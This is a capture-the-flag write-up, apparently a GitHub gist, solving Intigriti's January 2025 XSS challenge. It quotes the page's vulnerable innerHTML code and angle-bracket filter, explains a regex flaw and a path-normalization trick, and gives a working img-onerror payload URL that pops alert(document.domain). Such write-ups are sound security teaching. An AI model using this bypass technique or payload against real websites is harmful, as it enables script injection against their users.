Skip to content

Instantly share code, notes, and snippets.

@cedric-msn
Created January 16, 2025 19:44
Show Gist options
  • Save cedric-msn/bf303e795a7280681dbcf88fe09261d2 to your computer and use it in GitHub Desktop.
Save cedric-msn/bf303e795a7280681dbcf88fe09261d2 to your computer and use it in GitHub Desktop.
πŸ“ Write-Up for Intigriti's January Challenge 125

Intigriti's January Challenge 125 (Write-Up)

Header

Overview

  • Challenge Type: Web (XSS)
  • Difficulty: Easy
  • Objective: Trigger alert(document.domain) through XSS
  • Author: Godson (TrustFoundry)

Step-by-Step

The application presents a simple input field labeled "Enter your name!". Upon submission, it redirects to: /challenge?text=USER_INPUT, displaying the submitted text in a modal.

Challenge Screenshot

The source code reveals an XSS vulnerability in how the text is displayed in the modal (innerHTML):

function checkQueryParam() {
    const text = getParameterByName('text');
    if (text && XSS() === false) {
        const modal = document.getElementById('modal');
        const modalText = document.getElementById('modalText');
        modalText.innerHTML = `Welcome, ${text}!`; // XSS vulnerability
        textForm.remove()
        modal.style.display = 'flex';
    }
}

There is also a protection function XSS() that checks for angle brackets (< and >) the URL.

function XSS() {
    return decodeURIComponent(window.location.search).includes('<')
            || decodeURIComponent(window.location.search).includes('>')
            || decodeURIComponent(window.location.hash).includes('<')
            || decodeURIComponent(window.location.hash).includes('>')
}

It checks in 2 parts of the URL:

Example URL:                                 β”Œβ”€β”€β”€β”€searchβ”€β”€β”€β”€β”β”Œhash┐
https://challenge-0125.intigriti.io/challenge?text=Cedric.MSN#3133t
                                             β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜β””β”€β”€β”€β”€β”˜

The key to bypassing the protection lies in getParameterByName(), the function used to retrieve the text parameter from URL:

function getParameterByName(name) {
    var url = window.location.href;
    name = name.replace(/[\[\]]/g, "\\$&");
    var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"); // Bad regex implementation
    results = regex.exec(url);
    if (!results) return null;
    if (!results[2]) return '';
    return decodeURIComponent(results[2].replace(/\+/g, " "));
}

There is a regex pattern [?&]text(=([^&#]*)|&|#|$) that works as follows:

  • [?&]: Matches parameters starting with ? or &.
  • text: The parameter name.
  • (=([^&#]*)|&|#|$): Captures the value until &, #, or end of string.

Crucially, this regex matches the text parameter, regardless of its position in the URL. This allows for unconventional URL formats:

Normal URL Match:                            β”Œβ”€β”€β”€β”€match─────┐
https://challenge-0125.intigriti.io/challenge?text=Cedric.MSN
                                             β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Invalid URL Match:                 β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€match───────────┐
https://challenge-0125.intigriti.io&text=Cedric.MSN/invalid-url
                                   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

By leveraging Relative URL Path, we can navigate backward in the URL structure using /... This technique allows us to place our payload within a subdirectory (or "folder") and then use /.. to traverse back to the original URL.

Additionally, we use & instead of ? to prevent the payload from being added to window.location.search, ensuring it doesn't interfere with the query string parsing:

Initial attempt:                              β”Œβ”„β”„β”„β”„β”„β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€payloadβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”β”Œpath traversal┐
https://challenge-0125.intigriti.io/challenge/&text=<img+src=a+onerror=alert(document.domain)>/..            β”‚
                                              β””β”„β”„β”„β”„β”„β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ€” Right ? Why isn't it working!!

The problem is that modern browsers automatically normalize paths before sending the request, which would strip our payload and result in: https://challenge-0125.intigriti.io/challenge.

To prevent this normalization, we simply URL encode the trailing / as %2F:

Final payload:                                β”Œβ”„β”„β”„β”„β”„β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€payloadβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”β”Œpath traversal┐
https://challenge-0125.intigriti.io/challenge/&text=<img+src=a+onerror=alert(document.domain)>%2F..          β”‚
                                              β””β”„β”„β”„β”„β”„β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

And like that, we've succesfully exploited the XSS to pop an alert(document.domain) !

XSS Screenshot

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment